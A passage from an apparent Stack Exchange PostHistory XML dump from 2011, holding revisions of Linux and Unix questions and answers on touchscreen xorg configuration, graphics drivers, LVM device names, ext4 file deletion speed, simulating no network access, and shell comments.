morning and realize you updated the kernel and now X.org doesn't work.&#xD;&#xA;&#xD;&#xA;If you aren't planning on playing 3D games, either the Intel or AMD drivers are the best.  The AMD driver is more modern than the Intel one, it uses the Gallium3D architecture within Mesa (thats what the `g` stands for in `r600g`), but they both get the job done." />
  <row Id="23403" PostHistoryTypeId="5" PostId="9791" RevisionGUID="2726d4cc-c339-4692-aed0-22a1290d8e82" CreationDate="2011-03-21T12:59:20.390" UserId="2511" Comment="clean up english." Text="I have bought a new touchscreen POS machine and I have installed fedora 14 on it. I couldn't make the touch screen work, as the ELO touch manufacturers have drivers only for kernel 2.6.14 versions. Even though Fedora 14 has precompiled kernel-level driver support for ELO touch screens, I am unable to get it working.&#xD;&#xA;&#xD;&#xA;I have tried the xorg.conf configuration as well, but nothing is working.&#xD;&#xA;" />
  <row Id="23404" PostHistoryTypeId="4" PostId="9791" RevisionGUID="2726d4cc-c339-4692-aed0-22a1290d8e82" CreationDate="2011-03-21T12:59:20.390" UserId="2511" Comment="clean up english." Text="How can I get an ELO Touch Screen to work?" />
  <row Id="23405" PostHistoryTypeId="6" PostId="9791" RevisionGUID="2726d4cc-c339-4692-aed0-22a1290d8e82" CreationDate="2011-03-21T12:59:20.390" UserId="2511" Comment="clean up english." Text="élinuxàéfedoraàéxorgàétouchöscreenà" />
  <row Id="23406" PostHistoryTypeId="5" PostId="9791" RevisionGUID="3fa5324f-0e9f-42be-9945-d42ae2f2e7ac" CreationDate="2011-03-21T13:18:26.980" UserId="5926" Comment="added 3700 characters in body" Text="I have bought a new touchscreen POS machine and I have installed fedora 14 on it. I couldn't make the touch screen work, as the ELO touch manufacturers have drivers only for kernel 2.6.14 versions. Even though Fedora 14 has precompiled kernel-level driver support for ELO touch screens, I am unable to get it working.&#xD;&#xA;&#xD;&#xA;I have tried the xorg.conf configuration as well, but nothing is working.  &#xD;&#xA;&#xD;&#xA;-----EDIT---------&#xD;&#xA;&#xD;&#xA;`Section &quot;Files&quot;  &#xD;&#xA;        FontPath        &quot;/usr/share/fonts/X11/misc&quot;  &#xD;&#xA;        FontPath        &quot;/usr/X11R6/lib/X11/fonts/misc&quot;  &#xD;&#xA;        FontPath        &quot;/usr/share/fonts/X11/cyrillic&quot;  &#xD;&#xA;        FontPath        &quot;/usr/X11R6/lib/X11/fonts/cyrillic&quot;  &#xD;&#xA;        FontPath        &quot;/usr/share/fonts/X11/100dpi/:unscaled&quot;  &#xD;&#xA;        FontPath        &quot;/usr/X11R6/lib/X11/fonts/100dpi/:unscaled&quot;  &#xD;&#xA;        FontPath        &quot;/usr/share/fonts/X11/75dpi/:unscaled&quot;  &#xD;&#xA;        FontPath        &quot;/usr/X11R6/lib/X11/fonts/75dpi/:unscaled&quot;  &#xD;&#xA;        FontPath        &quot;/usr/share/fonts/X11/Type1&quot;  &#xD;&#xA;        FontPath        &quot;/usr/X11R6/lib/X11/fonts/Type1&quot;  &#xD;&#xA;        FontPath        &quot;/usr/share/fonts/X11/100dpi&quot;  &#xD;&#xA;        FontPath        &quot;/usr/X11R6/lib/X11/fonts/100dpi&quot;  &#xD;&#xA;        FontPath        &quot;/usr/share/fonts/X11/75dpi&quot;  &#xD;&#xA;        FontPath        &quot;/usr/X11R6/lib/X11/fonts/75dpi&quot;  &#xD;&#xA;#path to defoma fonts  &#xD;&#xA;FontPath        &quot;/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType&quot;  &#xD;&#xA; EndSection  &#xD;&#xA; Section &quot;Module&quot;  &#xD;&#xA; Load    &quot;i2c&quot;  &#xD;&#xA; Load    &quot;bitmap&quot;  &#xD;&#xA; Load    &quot;ddc&quot;  &#xD;&#xA; Load    &quot;dri&quot;  &#xD;&#xA; Load      &quot;extmod&quot;  &#xD;&#xA; Load    &quot;freetype&quot;  &#xD;&#xA; Load    &quot;glx&quot;  &#xD;&#xA; Load    &quot;int10&quot;  &#xD;&#xA; Load    &quot;vbe&quot;  &#xD;&#xA;  EndSection  &#xD;&#xA; &#xD;&#xA;Section &quot;InputDevice&quot;  &#xD;&#xA;Identifier      &quot;Generic Keyboard&quot;  &#xD;&#xA;Driver          &quot;kbd&quot;  &#xD;&#xA;Option          &quot;CoreKeyboard&quot;  &#xD;&#xA;Option          &quot;XkbRules&quot;      &quot;xorg&quot;  &#xD;&#xA;Option          &quot;XkbModel&quot;      &quot;pc104&quot;  &#xD;&#xA;Option          &quot;XkbLayout&quot;     &quot;us&quot;  &#xD;&#xA;EndSection  &#xD;&#xA;&#xD;&#xA;Section &quot;InputDevice&quot;  &#xD;&#xA;Identifier      &quot;Configured Mouse&quot;  &#xD;&#xA;Driver          &quot;mouse&quot;  &#xD;&#xA;Option          &quot;CorePointer&quot;  &#xD;&#xA;Option          &quot;Device&quot;                  &quot;/dev/input/mice&quot;  &#xD;&#xA;Option          &quot;Protocol&quot;              &quot;ImPS/2&quot;  &#xD;&#xA;Option          &quot;Emulate3Buttons&quot;       &quot;true&quot;  &#xD;&#xA;EndSection  &#xD;&#xA;&#xD;&#xA;Section &quot;InputDevice&quot;  &#xD;&#xA;Identifier &quot;ELO touchscreen&quot;  &#xD;&#xA;Driver &quot;elographics&quot;  &#xD;&#xA;Option &quot;Device&quot; &quot;/dev/ttyS0&quot;  &#xD;&#xA;Option  &quot;MinX&quot; &quot;375&quot;  &#xD;&#xA;Option  &quot;MaxX&quot; &quot;3700&quot;  &#xD;&#xA;Option  &quot;MinY&quot; &quot;500&quot;  &#xD;&#xA;Option  &quot;MaxY&quot; &quot;3590&quot;  &#xD;&#xA;Option  &quot;UntouchDelay&quot;  &quot;10&quot;  &#xD;&#xA;Option  &quot;ReportDelay&quot;   &quot;10&quot;  &#xD;&#xA;Option  &quot;SendCoreEvents&quot;        &quot;yes&quot;  &#xD;&#xA;Option  &quot;ScreenNumber&quot;  &quot;0&quot;  &#xD;&#xA;Option  &quot;ButtonNumber&quot;  &quot;1&quot;  &#xD;&#xA;EndSection  &#xD;&#xA;&#xD;&#xA;Section &quot;Device&quot;  &#xD;&#xA;Identifier      &quot;Intel&quot;  &#xD;&#xA;Driver          &quot;intel&quot;  &#xD;&#xA;BusID           &quot;PCI:0:2:0&quot;  &#xD;&#xA;EndSection  &#xD;&#xA;                                                                                                                              Section &quot;Monitor&quot;  &#xD;&#xA;Identifier      &quot;LCD Touch&quot;  &#xD;&#xA;Option          &quot;DPMS&quot;  &#xD;&#xA;EndSection  &#xD;&#xA;&#xD;&#xA;Section &quot;Screen&quot;  &#xD;&#xA;Identifier      &quot;Default Screen&quot;  &#xD;&#xA;Device          &quot;ATI Technologies Inc ATI Default Card&quot;  &#xD;&#xA;Monitor         &quot;ELO Touch&quot;   &#xD;&#xA;&#xD;&#xA;        DefaultDepth    24  &#xD;&#xA;        SubSection &quot;Display&quot;  &#xD;&#xA;        Depth           1  &#xD;&#xA;        Modes &quot;800x600&quot;  &#xD;&#xA;        EndSubSection  &#xD;&#xA;        SubSection &quot;Display&quot;  &#xD;&#xA;Depth           4  &#xD;&#xA;Modes           &quot;800x600&quot; &quot;720x400&quot; &quot;640x480&quot;  &#xD;&#xA;EndSubSection  &#xD;&#xA;SubSection &quot;Display&quot;  &#xD;&#xA;Depth           8  &#xD;&#xA;Modes           &quot;800x600&quot; &quot;720x400&quot; &quot;640x480&quot;  &#xD;&#xA;EndSubSection  &#xD;&#xA;SubSection &quot;Display&quot;  &#xD;&#xA;Depth           15  &#xD;&#xA;Modes           &quot;800x600&quot; &quot;720x400&quot; &quot;640x480&quot;  &#xD;&#xA;EndSubSection  &#xD;&#xA;SubSection &quot;Display&quot;  &#xD;&#xA;Depth           16  &#xD;&#xA;Modes           &quot;800x600&quot; &quot;720x400&quot; &quot;640x480&quot;  &#xD;&#xA;EndSubSection  &#xD;&#xA;SubSection &quot;Display&quot;  &#xD;&#xA;Depth           24  &#xD;&#xA;Modes           &quot;800x600&quot; &quot;720x400&quot; &quot;640x480&quot;  &#xD;&#xA;EndSubSection  &#xD;&#xA;EndSection  &#xD;&#xA; &#xD;&#xA;Section &quot;ServerLayout&quot;  &#xD;&#xA;Identifier      &quot;Default Layout&quot;  &#xD;&#xA;Screen          &quot;Default Screen&quot;  &#xD;&#xA;InputDevice     &quot;Generic Keyboard&quot;  &#xD;&#xA;InputDevice     &quot;Configured Mouse&quot;  &#xD;&#xA;InputDevice     &quot;ELO touchscreen&quot; &quot;SendCoreEvents&quot;  &#xD;&#xA;EndSection  &#xD;&#xA;&#xD;&#xA;Section &quot;DRI&quot;  &#xD;&#xA;Mode    0666  &#xD;&#xA;EndSection`  &#xD;&#xA;" />
  <row Id="23407" PostHistoryTypeId="2" PostId="9793" RevisionGUID="dd7ad6a7-7c73-4f94-af70-4735a6e0ab2a" CreationDate="2011-03-21T13:38:30.857" UserId="3633" Text="The choice depends on your goals.&#xD;&#xA;&#xD;&#xA;* Intel has the best open source driver. They put efforts into it themselves. Intel graphic solutions are not the best 3D performers, though, being embedded-only. &#xD;&#xA;&#xD;&#xA;* NVidia has the best proprietary driver with great 3D performance, and they offer both high-end 3D hardware and embedded solutions. Keeping it up to date takes a bit of attention at every kernel upgrade, even minor. This is not painful, from my experience — just rebuild and reinstall. Open-source drivers (nouveau) are improving and work well with 2D, but lag behind in 3D yet.&#xD;&#xA;&#xD;&#xA;* AMD/ATI have great hardware, but their drivers are a notch below both Intel's and NVidia's, either open or closed source. You have to better stick to older well-supported cards, and people keep complaining about minor glitches. Their open-source driver develops quickly, though, and maybe in a year will become a worthy contender in 3D space." />
  <row Id="23408" PostHistoryTypeId="2" PostId="9794" RevisionGUID="340c53d2-2648-48fc-b42f-8f6e394cec4f" CreationDate="2011-03-21T13:38:59.673" UserId="5289" Text="Is there an emacs org-mode to dokuwiki converter? Is there an dokuwiki to emacs org-mode converter?" />
  <row Id="23409" PostHistoryTypeId="1" PostId="9794" RevisionGUID="340c53d2-2648-48fc-b42f-8f6e394cec4f" CreationDate="2011-03-21T13:38:59.673" UserId="5289" Text="org mode to dokuwiki converter" />
  <row Id="23410" PostHistoryTypeId="3" PostId="9794" RevisionGUID="340c53d2-2648-48fc-b42f-8f6e394cec4f" CreationDate="2011-03-21T13:38:59.673" UserId="5289" Text="éemacsà" />
  <row Id="23411" PostHistoryTypeId="2" PostId="9795" RevisionGUID="325767bb-b033-461b-a11d-52b4c16e6c33" CreationDate="2011-03-21T14:16:00.157" UserId="2974" Text="Consider this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# fdisk -l /dev/sda&#xD;&#xA;&#xD;&#xA;Disk /dev/sda: 298.9 GB, 298999349248 bytes&#xD;&#xA;255 heads, 63 sectors/track, 36351 cylinders&#xD;&#xA;Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;&#xD;&#xA;   Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;/dev/sda1   *           1          13      104391   83  Linux&#xD;&#xA;/dev/sda2              14       36351   291884985   8e  Linux LVM&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;and this&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# df&#xD;&#xA;Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;/dev/mapper/VolGroup00-LogVol00&#xD;&#xA;                     276883300   3610240 258981300   2% /&#xD;&#xA;/dev/sda1               101086     19371     76496  21% /boot&#xD;&#xA;tmpfs                  1993292         0   1993292   0% /dev/shm&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;*(The OS is Centos 5.5 64-bit, the HW is IBM ServeRAID M1015 using an LSI MegaRAID BIOS)*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why does `df` use a long filesystem name instead of `/dev/sda2`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23412" PostHistoryTypeId="1" PostId="9795" RevisionGUID="325767bb-b033-461b-a11d-52b4c16e6c33" CreationDate="2011-03-21T14:16:00.157" UserId="2974" Text="Device names for logical volumes on hardware RAID controllers" />
  <row Id="23413" PostHistoryTypeId="3" PostId="9795" RevisionGUID="325767bb-b033-461b-a11d-52b4c16e6c33" CreationDate="2011-03-21T14:16:00.157" UserId="2974" Text="élinuxàécentosàéraidàédevicesà" />
  <row Id="23414" PostHistoryTypeId="2" PostId="9796" RevisionGUID="e4916bc2-62a7-4816-ae66-37045f1c1088" CreationDate="2011-03-21T14:18:49.293" UserId="434" Text="[Wikipedia entry] [1]  that explains what gets preserved and what gets turned off in different power states.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface#Processor_states &quot;ACPI Processor States&quot;" />
  <row Id="23415" PostHistoryTypeId="2" PostId="9797" RevisionGUID="6383c421-d767-4dd6-b85a-1e0cb552dc89" CreationDate="2011-03-21T14:21:48.100" UserId="5804" Text="Because /dev/sda2 is not a disk, it is a file on a disk." />
  <row Id="23416" PostHistoryTypeId="4" PostId="9778" RevisionGUID="eec3c2a1-ed8d-44cc-aeae-97d7e690daf7" CreationDate="2011-03-21T14:23:33.077" UserId="5495" Comment="edited title" Text="How is MIME type &quot;text/html&quot; registered to shared-mime-info? Where is its *.xml file?" />
  <row Id="23417" PostHistoryTypeId="25" PostId="9795" RevisionGUID="51b8692c-4550-451b-9428-5584b1b48b2e" CreationDate="2011-03-21T14:31:27.510" Comment="http://twitter.com/#!/StackUnix/status/49840547707371520" />
  <row Id="23418" PostHistoryTypeId="2" PostId="9798" RevisionGUID="d9e37794-3ea2-4a82-9ce0-46301fd0e403" CreationDate="2011-03-21T14:35:05.820" UserId="2343" Text="I'm using Ubuntu / bash / 'ext4' / SATA II drive.  &#xD;&#xA;&#xD;&#xA;I recently created and deleted **10** million empty test files. &#xD;&#xA;Deleting files on a name by name basis (ie `rm filename`), I found out the hard way that there is a **huge** time difference between 2 different methods...  &#xD;&#xA;&#xD;&#xA;Both methods use the exact same `rm filename` command.  &#xD;&#xA;The filnames are provide via a 'feeder file' into a `while read` loop..  &#xD;&#xA;The feeder file is the output of `ls -1 -f`   &#xD;&#xA;The methods are identical in all reaspects, except for one thing: &#xD;&#xA;&#xD;&#xA; * the **slow** method uses the unsorted feeder file direct from `ls -1 -f`&#xD;&#xA; * the **fast** method uses a sorted version of that same unsorted file&#xD;&#xA;&#xD;&#xA;I'm not sure whether the sorting is ths issue here, or is it perhaps that the sorted feeder file just happens to match the sequence in which the files were created (I used a simple ascending integer algorithm)   &#xD;&#xA;&#xD;&#xA;For 1 million files, the *fast* `rm filename` method is **60** times faster than the *slow* method... again, I don't know if this is a &quot;sorting&quot; issue, or a behind-the-scenes hash table issue...  I suspect it is not a simple sorting issue, because why would `ls -1 -f` intentionally give me an **unsort** listing of a freshly added &quot;sorted&quot; sequence of filenames...  &#xD;&#xA;&#xD;&#xA;I'm just wondering what is going on here, so it doesn't take me days (yes days) to delete the next 10 million files :) .... I say &quot;days&quot; because I tried so many alternatives, and the times involved increase disproportionatly to the numberof file involved ..  so I've only tested **1** million in detail&#xD;&#xA;&#xD;&#xA;BTW: Deleting the files via the &quot;sorted list&quot; of names is actually faster than `rm -rf` by a factor of 2.  &#xD;&#xA;and: `rm -r` was 30 times slower than the &quot;sorted list&quot; method   &#xD;&#xA;&#xD;&#xA;... but is &quot;sorted&quot; the issue here? or is it more related to a hashing(or whatever) method of storage used by ext4? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="23419" PostHistoryTypeId="1" PostId="9798" RevisionGUID="d9e37794-3ea2-4a82-9ce0-46301fd0e403" CreationDate="2011-03-21T14:35:05.820" UserId="2343" Text="Why is deleting files by name painfully slow and also exceptionally fast?" />
  <row Id="23420" PostHistoryTypeId="3" PostId="9798" RevisionGUID="d9e37794-3ea2-4a82-9ce0-46301fd0e403" CreationDate="2011-03-21T14:35:05.820" UserId="2343" Text="ébashàéfilesystemsà" />
  <row Id="23421" PostHistoryTypeId="2" PostId="9799" RevisionGUID="f78d75b6-cdad-4c59-bb4d-1aa6ade4bd24" CreationDate="2011-03-21T14:35:12.543" UserId="5824" Text="The &lt;a href=&quot;http://orgmode.org/worg/org-contrib/org-export-generic.html&quot;&gt;generic exporter&lt;/a&gt; could be easily configured to export to dokuwiki.  But I can't answer the &quot;back&quot; question.  Very little converts *to* org at this point." />
  <row Id="23422" PostHistoryTypeId="2" PostId="9800" RevisionGUID="d8616ba5-6f4a-45ec-9da3-84377f1daa8b" CreationDate="2011-03-21T14:52:30.597" UserId="1323" Text="`df` shows you mounted filesystems, which reside on block devices. `fdisk` is showing you the partition table on your /dev/sda block device. Since you don't have a filesystem mounted directly on /dev/sda2, you won't see it appear in `df` output. Your root filesystem (the first entry in `df`) is on an LVM logical volume, which, after consulting your fdisk output, is in turn on an LVM physical volume on /dev/sda2.&#xD;&#xA;&#xD;&#xA;This doesn't really have anything to do with hardware raid. These utilities would give you the same information if your /dev/sda was a disk connected to an onboard disk controller or a raid controller." />
  <row Id="23423" PostHistoryTypeId="5" PostId="9798" RevisionGUID="1ec1dbf6-5910-4cc4-a76e-9584c9fd3898" CreationDate="2011-03-21T14:55:02.387" UserId="2343" Comment="added 163 characters in body" Text="I'm using Ubuntu / bash / 'ext4' / SATA II drive.  &#xD;&#xA;&#xD;&#xA;I recently created and deleted **10** million empty test files. &#xD;&#xA;Deleting files on a name by name basis (ie `rm filename`), I found out the hard way that there is a **huge** time difference between 2 different methods...  &#xD;&#xA;&#xD;&#xA;Both methods use the exact same `rm filename` command.  &#xD;&#xA;The filnames are provide via a 'feeder file' into a `while read` loop..  &#xD;&#xA;The feeder file is the output of `ls -1 -f`   &#xD;&#xA;The methods are identical in all reaspects, except for one thing: &#xD;&#xA;&#xD;&#xA; * the **slow** method uses the unsorted feeder file direct from `ls -1 -f`&#xD;&#xA; * the **fast** method uses a sorted version of that same unsorted file&#xD;&#xA;&#xD;&#xA;I'm not sure whether the sorting is ths issue here, or is it perhaps that the sorted feeder file just happens to match the sequence in which the files were created (I used a simple ascending integer algorithm)   &#xD;&#xA;&#xD;&#xA;For 1 million files, the *fast* `rm filename` method is **60** times faster than the *slow* method... again, I don't know if this is a &quot;sorting&quot; issue, or a behind-the-scenes hash table issue...  I suspect it is not a simple sorting issue, because why would `ls -1 -f` intentionally give me an **unsort** listing of a freshly added &quot;sorted&quot; sequence of filenames...  &#xD;&#xA;&#xD;&#xA;I'm just wondering what is going on here, so it doesn't take me days (yes days) to delete the next 10 million files :) .... I say &quot;days&quot; because I tried so many alternatives, and the times involved increase disproportionatly to the numberof file involved ..  so I've only tested **1** million in detail&#xD;&#xA;&#xD;&#xA;BTW: Deleting the files via the &quot;sorted list&quot; of names is actually faster than `rm -rf` by a factor of 2.  &#xD;&#xA;and: `rm -r` was 30 times slower than the &quot;sorted list&quot; method   &#xD;&#xA;&#xD;&#xA;... but is &quot;sorted&quot; the issue here? or is it more related to a hashing(or whatever) method of storage used by ext4? &#xD;&#xA;&#xD;&#xA;The thing which quite puzzles me is that each call to `rm filename` is unrelated to the previous one .. (well, at least it is that way from the 'bash' perspective)" />
  <row Id="23424" PostHistoryTypeId="2" PostId="9801" RevisionGUID="a12c5204-74ee-488b-b392-08aad5213e74" CreationDate="2011-03-21T15:02:35.413" UserId="5929" Text="Just found out [here][1] that jhead can do it all for you! :)&#xD;&#xA;&#xD;&#xA;    jhead -autorot -nf%Y-%m-%d_%H-%M-%S *.jpg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://moinne.com/blog/ronald/bash/rename-your-photos-from-the-comandline-using-jhead" />
  <row Id="23425" PostHistoryTypeId="2" PostId="9802" RevisionGUID="6a69fb35-81a1-4215-9264-5195d4a47468" CreationDate="2011-03-21T15:05:13.360" UserId="2689" Text="Sometimes I upload an application to a server that doesn't have external internet access.&#xD;&#xA;&#xD;&#xA;I would like to create the same environment in my machine for testing some features in the application and avoid bugs (like reading a rss from an external source).&#xD;&#xA;&#xD;&#xA;I thought about just unplugging my ethernet cable to simulate, but this seems archaic and I don't know if I'm going to raise the same exceptions (specially in Python) when doing this compared to the limitations at the server.&#xD;&#xA;&#xD;&#xA;So, how do I simulate &quot;no external access&quot; in my development machine?&#xD;&#xA;&#xD;&#xA;How do I &quot;deactivate&quot; my ethernet interface and reactivate later with no hassle?&#xD;&#xA;&#xD;&#xA;I'm using Ubuntu 10.04. Thanks!" />
  <row Id="23426" PostHistoryTypeId="1" PostId="9802" RevisionGUID="6a69fb35-81a1-4215-9264-5195d4a47468" CreationDate="2011-03-21T15:05:13.360" UserId="2689" Text="Is it possible to simulate &quot;no external access&quot; from a Linux machine when developing?" />
  <row Id="23427" PostHistoryTypeId="3" PostId="9802" RevisionGUID="6a69fb35-81a1-4215-9264-5195d4a47468" CreationDate="2011-03-21T15:05:13.360" UserId="2689" Text="éubuntuàéinternetàépermissionà" />
  <row Id="23428" PostHistoryTypeId="5" PostId="9800" RevisionGUID="c6833575-fbc7-4e67-8af6-8c98cc4c24f1" CreationDate="2011-03-21T15:11:08.207" UserId="1323" Comment="added 478 characters in body" Text="`df` shows you mounted filesystems, which reside on block devices. `fdisk` is showing you the partition table on your /dev/sda block device. Since you don't have a filesystem mounted directly on /dev/sda2, you won't see it appear in `df` output. Your root filesystem (the first entry in `df`) is on an LVM logical volume, which, after consulting your fdisk output, is likely in turn on an LVM physical volume on /dev/sda2. &#xD;&#xA;&#xD;&#xA;When comparing block device names in `df` output with those in output from the LVM management utilities, it helps to know that the kernel uses the full device name for df (here it's /dev/mapper/VolGroup00-LogVol00). The device mapper creates convenient symlinks in /dev that correspond with your volume group names. You can correlate the two outputs by ignoring the &quot;mapper&quot; portion of the name in df, and replacing the hyphen with a forward slash. Running `ls -al /dev/VolGroup00` will illustrate the relationship for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This doesn't really have anything to do with hardware raid. These utilities would give you the same information regardless of controller type." />
  <row Id="23429" PostHistoryTypeId="2" PostId="9803" RevisionGUID="8d65d11e-c1e8-492a-84ee-03b1b4955d64" CreationDate="2011-03-21T15:20:14.050" UserId="2511" Text="Deleting the default route should do this. You can show the routing table with `/sbin/route`, and delete the default with:&#xD;&#xA;&#xD;&#xA;    sudo /sbin/route del default&#xD;&#xA;&#xD;&#xA;That'll leave your system connected to the local net, but with no idea where to send packets destined for beyond. This probably simulates the &quot;no external access&quot; situation very accurately.&#xD;&#xA;&#xD;&#xA;You can put it back with `route add` (remembering what your gateway is supposed to be), or by just restarting networking. I just tried on a system with NetworkManager, and zapping the default worked fine, and I could restore it simply by clicking on the panel icon and re-choosing the local network. It's possible that NM might do this by itself on other events, so beware of that.&#xD;&#xA;&#xD;&#xA;Another approach would be to use an `iptables` rule to block outbound traffic. But I think the routing approach is probably better." />
  <row Id="23430" PostHistoryTypeId="2" PostId="9804" RevisionGUID="e8df482a-133f-4499-8c6a-4a31c4fc9b5d" CreationDate="2011-03-21T15:21:56.027" UserId="4518" Text="When invoking long, switch-heavy commands, it's a good practice to write them in shell scripts. Is there an easy way to comment lines in such scripts? I've tried the following methods, but neither works.&#xD;&#xA;&#xD;&#xA;    # the \ is also commented out, resulting in &quot;command&quot; and &quot;--good-switch&quot;.&#xD;&#xA;    command \&#xD;&#xA;      #--bad-switch \&#xD;&#xA;      --good-switch \&#xD;&#xA;&#xD;&#xA;    # seems to send an extra argument to the command&#xD;&#xA;    command \&#xD;&#xA;      \ #--bad-switch \&#xD;&#xA;      --good-switch" />
  <row Id="23431" PostHistoryTypeId="1" PostId="9804" RevisionGUID="e8df482a-133f-4499-8c6a-4a31c4fc9b5d" CreationDate="2011-03-21T15:21:56.027" UserId="4518" Text="How to comment multi-line commands in shell scripts?" />
  <row Id="23432" PostHistoryTypeId="3" PostId="9804" RevisionGUID="e8df482a-133f-4499-8c6a-4a31c4fc9b5d" CreationDate="2011-03-21T15:21:56.027" UserId="4518" Text="éshellà" />
  <row Id="23433" PostHistoryTypeId="2" PostId="9805" RevisionGUID="0621566c-b378-42fd-a510-896d820ece01" CreationDate="2011-03-21T15:24:30.987" UserId="5325" Text="I always moved the commented ones just after the command.&#xD;&#xA;&#xD;&#xA;    command \&#xD;&#xA;      --good-switch&#xD;&#xA;    # --bad-switch          with explanation here, if needed&#xD;&#xA;" />
  <row Id="23434" PostHistoryTypeId="2" PostId="9806" RevisionGUID="2c7aecba-0287-49a9-b75d-3ff60cac85cf" CreationDate="2011-03-21T15:28:11.327" UserId="3645" Text="The issue is that the slashes are removed before the line is parsed, so the first command is parsed as if you'd written `command   #--bad-switch   --good-switch`. If you have a really long sequence of commands, you could for example write a **line-by-line comment block** above or below it, explaining each in turn, or you could store the parameters in a variable (although that often gives quoting headaches with special characters)." />
  <row Id="23435" PostHistoryTypeId="2" PostId="9807" RevisionGUID="8ec7dfd6-ed3c-4dd9-b4ef-b7d1c07d351f" CreationDate="2011-03-21T15:33:01.790" UserId="4671" Text="If I have understood the question correctly (I'm not sure exactly what you mean by `external internet access`) you could simply do&#xD;&#xA;&#xD;&#xA;    #ifdown eth0&#xD;&#xA;    #ifup eth0&#xD;&#xA;&#xD;&#xA;or whatever your internet device is. This will bring bring your ethernet interface down and up, respectively." />
  <row Id="23436" PostHistoryTypeId="2" PostId="9808" RevisionGUID="8440ceb3-bff9-4cf4-bbb6-ccecc83e66ac" CreationDate="2011-03-21T15:54:43.023" UserId="5931" Text="I dealt with this recently; it was a real pain, and unfortunately I don't have notes on exactly what I did.&#xD;&#xA;&#xD;&#xA;I saved these two links:&#xD;&#xA;&#xD;&#xA; - https://bugs.freedesktop.org/show_bug.cgi?id=25607&#xD;&#xA; - http://bgoglin.livejournal.com/19346.html&#xD;&#xA;&#xD;&#xA;Recent radeon chips don't have dedicated video overlay hardware, they use the texturing support in the 3D core to emulate a video overlay. This means that 3D acceleration needs to be working for the video overlay to work. In my glxinfo I have:&#xD;&#xA;&#xD;&#xA;    OpenGL vendor string: DRI R300 Project&#xD;&#xA;    OpenGL renderer string: Mesa DRI R300 (RV515 7145) 20090101  TCL DRI2&#xD;&#xA;&#xD;&#xA;If you used the fglrx driver in the past, make sure that any remnants of it are removed (remove any packages found by `dpkg -l '*fglrx*'` and check for kernel modules in `/lib/modules`.&#xD;&#xA;&#xD;&#xA;I currently have `radeon` in `/etc/modules`, as suggested at one of the links above, but I'm not sure if it's strictly necessary. There's nothing interesting in my `xorg.conf`.&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="23437" PostHistoryTypeId="5" PostId="9807" RevisionGUID="e602021b-69b4-4b76-bf0f-1f2f6aac88d0" CreationDate="2011-03-21T16:04:13.917" UserId="4671" Comment="added 222 characters in body; deleted 6 characters in body; added 2 characters in body" Text="You wrote&#xD;&#xA;&#xD;&#xA;&gt; So, how do I simulate &quot;no external&#xD;&#xA;&gt; access&quot; in my development machine?&#xD;&#xA;&gt; &#xD;&#xA;&gt; How do I &quot;deactivate&quot; my ethernet&#xD;&#xA;&gt; interface and reactivate later with no&#xD;&#xA;&gt; hassle?&#xD;&#xA;&#xD;&#xA;Are these two questions or one question? I'm not sure what you mean by `simulate &quot;no external access&quot;`. However, to deactivate the ethernet interface you could simply do&#xD;&#xA;&#xD;&#xA;    #ifdown eth0&#xD;&#xA;    #ifup eth0&#xD;&#xA;&#xD;&#xA;or whatever your internet device is. This will bring your ethernet interface down and up, respectively." />
  <row Id="23438" PostHistoryTypeId="5" PostId="9802" RevisionGUID="5c21366d-2e33-4220-b608-c528f10017d8" CreationDate="2011-03-21T16:10:55.207" UserId="2689" Comment="added 72 characters in body" Text="Sometimes I upload an application to a server that doesn't have external internet access.&#xD;&#xA;&#xD;&#xA;I would like to create the same environment in my machine for testing some features in the application and avoid bugs (like reading a rss from an external source).&#xD;&#xA;&#xD;&#xA;I thought about just unplugging my ethernet cable to simulate, but this seems archaic and I don't know if I'm going to raise the same exceptions (specially in Python) when doing this compared to the limitations at the server.&#xD;&#xA;&#xD;&#xA;So, how do I simulate &quot;no external access&quot; in my development machine? Will &quot;deactivating&quot; my ethernet interface and reactivating later (with a &quot;no hassle&quot; command) have the same behavior as the server with no external access?&#xD;&#xA;&#xD;&#xA;I'm using Ubuntu 10.04. Thanks!" />
  <row Id="23439" PostHistoryTypeId="2" PostId="9809" RevisionGUID="830711a4-7146-4e4d-8ba1-42c712ff95a5" CreationDate="2011-03-21T16:20:24.920" UserId="1323" Text="It seems the default behavior of the AIX print queue is to report queue errors to the user that submitted the print job. We have several hundred queues used by unattended scripts and cron jobs running under system accounts that are not intended to recieve mail.&#xD;&#xA;&#xD;&#xA;What I would like to do, and have tried unsuccessfully to do, is to stop these error reports from being directed to the users that submit jobs, and instead direct them to another address. This is what I have tried, with no effect:&#xD;&#xA;&#xD;&#xA;    chque -q'queue_name' -a&quot;recovery_type = sendmail &quot;'queue_errors@example.com'&#xD;&#xA;&#xD;&#xA;This added the expected configuration to /etc/qconfig. I restarted lpd, but error messages are still being sent to users. Furthermore, error messages are not delivered to queue_errors@example.com. How can I configure lpd in such a way as to direct queue errors to an address other than the user's?" />
  <row Id="23440" PostHistoryTypeId="1" PostId="9809" RevisionGUID="830711a4-7146-4e4d-8ba1-42c712ff95a5" CreationDate="2011-03-21T16:20:24.920" UserId="1323" Text="Modify AIX print queue error notification" />
  <row Id="23441" PostHistoryTypeId="3" PostId="9809" RevisionGUID="830711a4-7146-4e4d-8ba1-42c712ff95a5" CreationDate="2011-03-21T16:20:24.920" UserId="1323" Text="éprintingàéaixà" />
